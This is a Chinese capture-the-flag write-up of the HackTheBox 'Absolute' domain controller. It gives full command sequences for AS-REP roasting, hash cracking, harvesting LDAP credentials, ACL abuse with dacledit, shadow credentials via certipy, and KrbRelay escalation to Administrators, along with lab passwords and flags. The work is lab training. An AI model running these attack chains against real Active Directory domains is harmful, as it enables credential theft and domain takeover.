【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)

admin 2024年5月18日10:10:37评论6 views字数 17469阅读58分13秒阅读模式

一、信息搜集

题目提示如下:

Absolute is an Insane Windows Active Directory machine that starts with a webpage displaying some images, whose metadata is used to create a wordlist of possible usernames that may exist on the machine. It turns out that one of these users doesn't require Pre-authentication, therefore posing a valuable target for an `ASREP` roast attack. The discovered credentials are then used to enumerate `LDAP` and discover credentials for the user `svc_smb`, who has access to an `SMB` share containing a Windows binary. Performing dynamic analysis on the binary reveals that it tries to perform an `LDAP` connection to the Domain Controller with clear text credentials for the `m.lovegod` user, who owns the `Network Audit` group, which in turn has `Generic Write` over the `winrm_user`. Following this attack path and performing a shadow credential attack on the `winrm_user`, one can then `WinRM` and access the machine. Finally, the `KrbRelay` tool is used to add the `winrm_user` user to the Administrators group, leading to fully elevated privileges.
nmap -sT -Pn 10.10.11.181

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)看到开放了38953两个端口,说明这台Windows机子很大概率上是一台域控。 继续用nmap探测端口的详细信息:

sudo nmap -sCV -Pn -p 53,80,88,135,139,389,445,464,593,636,3268,3269 10.10.11.181

扫描结果如下:

Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-15 06:55 EDT
Nmap scan report for 10.10.11.181
Host is up (0.24s latency).

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Absolute
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-15 17:55:57Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-15T17:56:50+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-15T17:56:51+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-09-15T17:56:50+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-07-17T21:11:52
|_Not valid after:  2024-07-16T21:11:52
|_ssl-date: 2023-09-15T17:56:51+00:00; +7h00m00s from scanner time.
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1
|_    Message signing enabled and required
| smb2-time: 
|   date: 2023-09-15T17:56:41
|_  start_date: N/A
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 6h59m59s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.45 seconds

可以看到目标主机上是IIS10.0,也就是说目标主机至少是win10winserver2016及以上的。并且从上面的扫描结果中还可以看到对应的CNdc.absolute.htb。 我们可以在我们本地修改hosts文件,添加如下内容:

10.10.11.181 absolute.htb dc.absolute.htb

1.1 445端口smb

由于我们不知道共享名,于是尝试爆破:

crackmapexec smb 10.10.11.181 --shares

枚举失败:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)尝试匿名登录:

crackmapexec smb 10.10.11.181 --shares -u hacker -p ""

失败:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)不过此时我们也知道这是一台win10的机器。

1.2 389端口ldap

先获取基础的naming context,这里的-x参数表示使用简单身份验证方式来进行连接(也就是明文传输账号密码;-s参数指定搜索范围,这里的base表示基准dn本身。):

ldapsearch -H ldap://dc.absolute.htb -x -s base namingcontexts

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)拿到DC=absolute,DC=htb,再进一步获取:

ldapsearch -H ldap://dc.absolute.htb -x -b "DC=absolute,DC=htb"

这里的-b "DC=absolute,DC=htb"指定了要搜索的基准DNDC=absolute,DC=htb表示从位于absolute.htb域根目录下开始搜索。 但是发现需要登录,于是放弃:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)

1.3 53端口dns

尝试查询域名解析记录:

dig +nocmd +noall +answer @10.10.11.181 AXFR absolute.htb

失败:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)尝试爆破子域名:

sudo apt install seclists
dnsenum --dnsserver 10.10.11.181 -f /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt absolute.htb

新发现几个域名,但是没什么用:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)

1.4 80端口web

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)确实用的是IIS,但是报错页面进行了设置,并不会显示细节。【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)尝试爆破目录:

gobuster dir -u "http://absolute.htb" -w /usr/share/SecLists/Discovery/Web-Content/raft-medium-directories.txt -b 301,302,400,401,403,404,500,502 -t 20 --timeout 30s --random-agent --no-error

也可以使用:

feroxbuster -u http://absolute.htb

扫了半天,没发现有用的东西。 根据题目提示,查看网站图片的exif信息:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)这其中有用的信息应该就是人名了。于是尝试使用以下命令搜集这个网站的背景图片中的人名信息:

for i in $(seq 1 6); do wget http://10.10.11.181/images/hero_${i}.jpg; done | for i in $(seq 1 6); do exiftool hero_${i}.jpg | grep Author | awk '{print $3 " " $4}'; done | tee users

我这里执行很卡:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)于是我采用下面的方式:

for i in $(seq 1 6); do echo "http://10.10.11.181/images/hero_${i}.jpg" >> image_urls.txt; done

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)这里我们可以下载个Linux下很好用的文件下载工具FreeDownloadManager并安装:

https://files2.freedownloadmanager.org/6/latest/freedownloadmanager.deb

sudo apt install ffmpeg
sudo dpkg -i freedownloadmanager.deb

然后从文本中读取url批量下载:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)尼玛网络环境问题太让人抓狂了:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)算了,还是一张张单击右键保存吧:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后批量提取作者名字:

for i in $(seq 1 6); do exiftool hero_${i}.jpg | grep Author | awk '{print $3 " " $4}'; done | tee users

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)这里使用username-anarchy工具来帮助我们生成一个自定义字典

git clone https://github.com/urbanadventurer/username-anarchy.git
cd username-anarchy
./username-anarchy -i ../users | tee usernames

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)这样一份用户名字典就生成到当前文件夹下了。 然后我们就可以和之前打靶一样,使用kerbrute来测试用户名是否有效:

./kerbrute_linux_amd64 userenum --dc dc.absolute.htb -d absolute.htb ./htb_absolute/username-anarchy/usernames

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)发现六个有效的用户名,从中也可以看出起常用的命名规则:

[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]

但是此时我们仍然没有用户名对应的密码,无法进一步利用。根据题目提示,我们可以尝试AS-Rep-Roast攻击。

二、AS-Rep-Roast在内网横向中的利用

网上的学习文章较多,例如:https://www.freebuf.com/articles/web/291783.html和https://www.cnblogs.com/nice0e3/p/15784113.html,可自行搜索学习。 由于rubeus需要去https://github.com/GhostPack/Rubeus下载源码自行编译,因此这里我们可以使用impacket套件中的GetNPUsers.py脚本来获取hash: 先把上面获取到的有效用户名保存到valid_users.txt中:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后执行:

impacket-GetNPUsers -dc-ip dc.absolute.htb -usersfile valid_users.txt absolute.htb/

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)发现[email protected]用户存在漏洞,hash为:[email protected]@ABSOLUTE.HTB:749d49ae9c3f9400857844e846af1826$d0d93969b3c1ba12acb1dd2553a1757d1c72722fd67f774ff9b280edcef2be7159034e36b855d3baca3b653dfc1c643d27175a9edfec68585a63cb8f7a21596e6e2b35c70bc9b829a0f08e5af433f0b5e20568cc99963deb1a87f55b922ebf8eff4132558c8bb48ce8b34237f194c3e4e79fa26f08783f9418ef7aa6b26e500fddd5d7b9147118d2f16c6e8f2a18c3e53ca93a3710e958c96072e33946a014e70d4db65be6fce26868c98e1589cd0a5936afbf1005f1587a16ecffe0f4c53cec366fc6963d595379a3d043ebcb4896b2f397feafadd4b764497f9c40a37db301c68ec577a50362b2b13362b4。 我们把它保存到d_klay_hash.txt中,然后使用hashcat来破解:

hashcat d_klay_hash.txt /usr/share/wordlists/rockyou.txt

需要注意的是,这里貌似要把内存调大一点,不能像我一样只给2GB,否则hashcat无法破解,直接结束进程。 或者使用john

john --wordlist=/usr/share/wordlists/rockyou.txt d_klay_hash.txt

几秒就破解好了:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)破解得到的密码是Darkmoonsky248girl。 拿去验证:

crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl'

还是失败:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)但是这次的失败原因是STATUS_ACCOUNT_RESTRICTION(参考https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/639c2244-b6d5-4ca3-8ca0-74fe787cbae6),意思是NTLM被禁止了,那么就需要尝试利用Kerberos协议。

三、利用kerberos协议枚举smb

3.1 申请TGT

首先需要同步时钟,因为kerberos是使用时间戳来生成票据的,并且通过比对时间戳来验证票据的合法性:

sudo apt install ntpdate
sudo ntpdate 10.10.11.181

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后使用impacket套件中的脚本来生成TGT

impacket-getTGT absolute.htb/d.klay:'Darkmoonsky248girl' -dc-ip 10.10.11.181 
export KRB5CCNAME=d.klay.ccache

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后我们可以使用klist这个工具来查看票据的有效期:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)可以看到是4个小时,但是正常应该是10小时,有点奇怪,先放着。

3.2 连接SMB

然后使用crackmapexec获取其SMB信息:

crackmapexec smb dc.absolute.htb -u d.klay -p 'Darkmoonsky248girl' --shares -k 

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)但是很搞的是,除了名为Shared这个共享,其他共享全是默认共享,但是这个Shared共享没有读的权限,6。 那就尝试用smbclient连:

impacket-smbclient 'absolute.htb/d.klay:[email protected]' -k -no-pass

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)翻了一圈,还是没东西:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)这时突然想起来之前的Shared共享,尝试使用,发现没权限:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)于是尝试从别的地方寻找其他用户。

3.3 ldap再利用

再次探测之前的ldap服务:

crackmapexec ldap absolute.htb -u d.klay -p 'Darkmoonsky248girl' -k --users  

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)发现一个新账号:svc_smb/AbsoluteSMBService123!,试试看这个权限够不够:

sudo ntpdate 10.10.11.181
impacket-getTGT absolute.htb/svc_smb:'AbsoluteSMBService123!' -dc-ip 10.10.11.181  
export KRB5CCNAME=svc_smb.ccache
klist
【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)
image.png
crackmapexec smb absolute.htb -u svc_smb -p 'AbsoluteSMBService123!' -k --shares

发现这个用户是有读Shared权限的:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)

impacket-smbclient 'absolute.htb/svc_smb:[email protected]' -k -no-pass

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)发现有一个脚本和一个exe文件。我们把它们下载下来:

get compiler.sh
get test.exe

查看编译脚本内容:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)没什么用。 对于这个test.exe,有两个思路,一个是反编译(但是我不会),另一个就是wireshark抓流量。

3.4 wireshark分析exe文件流量

wireshark下载地址:https://2.na.dl.wireshark.org/win64/Wireshark-win64-4.0.8.exeWindowsopenvpn地址:https://swupdate.openvpn.org/community/releases/OpenVPN-2.6.6-I001-amd64.msi然后本地装clash,开启tun网卡模式:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后这里选择抓取clash网卡的数据包: 然后本地运行这个test.exe,为了方便看我们可以用wireshark语句ip.addr==10.10.11.181来过滤:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)从上面左侧可以看到一个新用户,并且可以确定这个test.exe实际上是用来测试ldap绑定的。 新用户的账号密码分别为:absolute.htbmlovegodAbsoluteLDAP2022!为什么是明文传输呢?因为下图中的这个设置项它设置的应该是None【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)我们来验证下账号密码是否正确,需要注意的是,这里的用户名如果使用mlovegod是不对的,需要根据前面收集到的来相应地变形:

sudo ntpdate dc.absolute.htb
crackmapexec smb 10.10.11.181 -u m.lovegod -p 'AbsoluteLDAP2022!' -k

验证成功:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)但是这个用户也枚举不出什么新的分享名了。

四、BloodHound-kerbros

首先利用改动后的支持kerbros协议的python-bloodhound脚本(因为这个靶机中NTLM被禁用了):

git clone https://github.com/jazzpizazz/BloodHound.py-Kerberos
cd BloodHound.py-Kerberos

然后申请TGT

sudo ntpdate dc.absolute.htb
impacket-getTGT absolute.htb/m.lovegod:'AbsoluteLDAP2022!' -dc-ip 10.10.11.181 
export KRB5CCNAME=m.lovegod.ccache
klist

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后利用脚本生成一个.zip文件:

python3 bloodhound.py -u m.lovegod -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 --dns-tcp --zip -no-pass -c All 

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后启动bloodhound

sudo apt install neo4j
sudo apt install bloodhound
sudo neo4j start
bloodhound --no-sandbox

初始化neo4j数据库,并设置新密码:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)登录bloodhound【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)导入刚才的压缩包:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)我们可以先调出一个域内的用户:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)按照如下箭头操作即可看到这里有个PROTECTED USERS【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)我们点击Direct Members即可看到这些域内的用户:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)整体展示如下:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)如果你的下面没有对应的名字,说明被隐藏了,得去设置里面打开:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)而这个PROTECTED USERS也就正好解释了为什么这些用户无法用于NTLM登录,因为Protected Users组自动应用无法配置的保护措施,以最大限度地减少域内的凭据暴露,这些保护措施主要有以下几项:

  • 禁用NTLM身份验证
  • 缩短Kerberos票证有效期(这就解释了为什么我们的票据只有4小时有效期而不是10小时)
  • 强制使用强加密算法,如AES
  • 阻止工作站上的密码缓存
  • 阻止任何类型的Kerberos委派

然后我们把m.lovegod标记为我们已拥有的:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后依次点击:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)而这个REMOTE MANAGEMENT USERS则意味着其中的用户可以有权限通过WinRM登录。 而我们目前的用户虽然拥有m.lovegod这个用户,但并不意味着我们有Network Audit这个组的访问权限,我们需要把这个用户加进去,然后就可以有权限生成shadow credential了。 关于shadow credential,可以参考这篇文章:https://blog.csdn.net/qq_41874930/article/details/119637917。

五、添加用户至NetworkAudit并进行shadow credential利用

具体操作方法如下,这里我们只讨论在kali中的攻击方法,主要是这网络环境实在是太差了,在我Windows上利用起来很难受: 这里我们可以配置一下另一个impacket:

git clone https://github.com/ThePorgs/impacket.git impacket-dacl
cd impacket-dacl
pip install .
sudo ntpdate dc.absolute.htb
impacket-getTGT absolute.htb/m.lovegod:AbsoluteLDAP2022! -dc-ip dc.absolute.htb
export KRB5CCNAME=m.lovegod.ccache
klist
kinit m.lovegod
python /home/kali/Desktop/impacket-dacl/examples/dacledit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -principal m.lovegod -target "Network Audit" -action write -rights FullControl

impacket-dacledit是一个用于修改Windows域控制器的访问控制列表(ACL)的命令行工具。-k参数指定了连接到目标域控制器的凭据;-principal参数指定要操作的对象,这里是m.lovegod,表示将要修改该用户在目标域中的ACL-target参数指定了要修改的目标资源;-action参数指定了执行什么操作,这里是write,表示将要对该资源进行写入操作;-rights参数指定了要设置哪些权限。

sudo apt install samba
net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' -k -S dc.absolute.htb
net rpc group members "Network Audit" -U 'm.lovegod' -k -S dc.absolute.htb

此时会出现一些蛋疼的问题: 问题1:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)解决办法:

kinit m.lovegod

问题2:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)解决办法: 这里需要我们修改dns以及kbr5.conf文件:

nameserver 10.10.11.181
#nameserver 192.168.52.2
【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)
image.png
sudo mv /etc/krb5.conf /etc/krb5.conf.bak
sudo nano /etc/krb5.conf

输入以下内容:

[libdefaults]
        default_realm = ABSOLUTE.HTB
[realms]
        ABSOLUTE.HTB = {
                kdc = dc.absolute.htb
                admin_server = dc.absolute.htb
                default_domain = absolute.htb
        }
[domain_realm]
        .absolute.htb = ABSOLUTE.HTB
        absolute.htb = ABSOLUTE.HTB

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)再执行命令:

net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' -k -S dc.absolute.htb
net rpc group members "Network Audit" -U 'm.lovegod' -k -S dc.absolute.htb

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)问题3:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)解决办法:

python /home/kali/Desktop/impacket-dacl/examples/dacledit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -principal m.lovegod -target "Network Audit" -action write -rights FullControl

基本上就是这些问题,其他的超时/连接重置这种问题直接检查网络、反复执行命令(我反复执行了四十几次)就行。 接下来需要重新生成TGT

rm m.lovegod.ccache
sudo ntpdate dc.absolute.htb
impacket-getTGT absolute.htb/m.lovegod:AbsoluteLDAP2022! -dc-ip dc.absolute.htb
export KRB5CCNAME=m.lovegod.ccache

然后如果之前执行了修改dns的操作的话,这一步需要恢复原样,也就是注释掉10.10.11.181那行:

pip install certipy-ad
certipy shadow auto -k -no-pass -u absolute.htb/[email protected] -dc-ip 10.10.11.181 -target dc.absolute.htb -account winrm_user

实际安装过程中,可能会这样提示:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)certipy的地址就是:

/home/kali/.local/bin/certipy

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)成功拿到hash8738c7413a5da3bc1d083efc0ab06cb2。 配置新的环境变量并用evil-winrm连接:

KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb

拿到userflag

cat C:Userswinrm_userDesktopuser.txt
【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)
image.png

六、KrbRelay

一些参考资料:https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html、https://github.com/cube0x0/KrbRelay、https://github.com/Dec0ne/KrbRelayUp

6.1 利用前提

  • 没有202210月的补丁
  • LDAP签名必须禁用(但是Windows默认是禁用的)

6.2 检查LDAP签名

crackmapexec理论上可以检查LDAP签名的有效性的,但是这个靶场实际操作会失败:

crackmapexec ldap 10.10.11.181 -u m.lovegod -p 'AbsoluteLDAP2022!' -M ldap-checker -k

【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)我这里图方便直接下载了这工具集合:

git clone https://github.com/Maxvol20/SharpCollection
cd SharpCollection/NetFramework_4.7_any
cp KrbRelay.exe ~/Desktop/htb_absolute

下载RunasCs:https://github.com/antonioCoco/RunasCs/releases/download/v1.5/RunasCs.zip也复制过来:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)然后在evil-winrm那里上传:

upload KrbRelay.exe
upload RunasCs.exe

上传成功:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)

.RunasCs.exe winrm_user -l 9 -d absolute.htb AbsoluteLDAP2022! 'KrbRelay.exe -spn ldap/dc.absolute.htb -Port 10 -clsid 8F5DF053-3013-4dd8--B5F4-88214E81C0CF -add-groupmember "Administrators" winrm_user'

然后输入exit退出,重新登录验证发现已经在Administrators组中:【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)

cat C:UsersAdministratorDesktoproot.txt
# d430b99dd825b71ef247f75bdd6217f4
【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)
image.png

七、另一种解法:KrbRelayUp+Rubeus+DC sync

由于写文章的时候靶机已关闭,准备打下一个靶机了,而且这文章的作者对于这一部分的内容写的还算清晰,于是直接贴出来:https://fdlucifer.github.io/2023/05/29/htb-absolute/#KrbRelayUp以及另一个大佬的文章:https://rootjaxk.github.io/posts/absolute/#privesc

八、后记

8.1 KrbRelay与KrbRelayUp

学习文章:https://googleprojectzero.blogspot.com/2021/10/windows-exploitation-tricks-relaying.htmlhttps://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.htmlhttps://github.com/cube0x0/KrbRelayhttps://github.com/ShorSec/KrbRelayUphttps://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9攻击后检测:https://github.com/tsale/Sigma_rules/blob/main/windows_exploitation/KrbRelayUp.ymlhttps://twitter.com/SBousseaden/status/1518976397364056071

8.2 LDAP或LDAPS利用

利用手法总结文章:https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/ldap-ldaps.md查看工具:http://jxplorer.org/

8.3 ACL

利用手法总结文章:https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/acl-abuse.mdhttps://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse学习文章:https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aceshttps://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/https://www.thehacker.recipes/active-directory-domain-services/movement/access-control-entries#exploitation-pathshttps://www.praetorian.com/blog/how-to-exploit-active-directory-acl-attack-paths-through-ldap-relaying-attacks/利用工具:https://github.com/garrettfoster13/aced

8.4 DCsync

利用手法总结文章:https://github.com/snovvcrash/PPN/blob/master/pentest/infrastructure/ad/credential-harvesting/dcsync.md学习文章:https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsynchttps://habr.com/ru/company/rvision/blog/709866/https://habr.com/ru/company/rvision/blog/709942/

8.5 AS-Rep Roasting

学习文章:https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcathttps://blog.xpnsec.com/kerberos-attacks-part-2/https://www.freebuf.com/articles/web/291783.htmlhttps://blog.csdn.net/shuteer_xu/article/details/106066628https://www.cnblogs.com/nice0e3/p/15784113.html

8.6 Shadow Credential

学习文章:https://blog.csdn.net/qq_41874930/article/details/119637917https://pentestlab.blog/2022/02/07/shadow-credentials/https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/https://www.thehacker.recipes/active-directory-domain-services/movement/access-control-entries/shadow-credentialshttps://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab利用工具:https://github.com/ShutdownRepo/pywhisker

原文始发于微信公众号(追梦信安):【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月18日10:10:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HackTheBox系列】第四篇:疯狂难度之Absolute(AS-REP、LDAP利用、KrbRelay、ACL等)http://cn-sec.com/archives/2045477.html

发表评论

匿名网友 填写信息